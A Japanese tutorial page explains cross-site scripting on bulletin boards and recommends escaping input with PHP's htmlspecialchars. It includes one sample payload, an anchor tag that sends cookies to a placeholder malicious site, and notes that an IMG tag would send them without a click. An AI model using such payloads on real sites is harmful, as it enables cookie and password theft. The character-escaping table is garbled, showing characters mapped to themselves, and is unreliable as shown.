XSSとはクロスサイトスクリプティングのことで、ユーザの入力値によって動的なページなどを作る際に起こる問題のことです。
具体的には、<script> などのタグが掲示板に書き込まれ、<script>タグがそのまま動作してしまう場合に問題が起こります。
Aさんが掲示板に書き込みました。その書き込んだ内容には悪意あるコード(スクリプト)が含まれているとします。
掲示板には不特定の人がアクセスします。
Aさんが掲示板に書き込んだスクリプトを不特定多数のPC上で実行されます。
JavaScriptではクッキーが読み出せるので、
<a href='https://悪意のあるサイト/?u=<script>クッキー読み出しの処理</script>'>クリック</a>
というコードがあって、「クリック」を押してしまうと、悪意のあるサイトに u というパラメータとしてパスワードなどを保存したクッキーが送信されてしまう可能性があるわけです。
(IMGタグなどを使えばクリックをしないでも読み出しただけで送信されます^^;)
※実際にこれらを行ってパスワードを盗み、不正なアクセスを行うと刑事罰の対象になることが
あるので実験の範囲内で行ってください。
掲示板の管理パスが乗っ取られたら困りますよね。
それだけに止まらず、この問題から様々な問題が生まれます。
なのでこの対策として、
CGIが受け取ったパラメータは、タグなどは無効化することで防げます。
& → &
< → <
→ >
" → "
' → '
これら処理をPHPでは htmlspecialchars 関数で一手に行えます。
$value = htmlspecialchars($value,
ENT_QUOTES);
入力されたデータはこれで無害化しましょう。
スポンサードリンク
もどる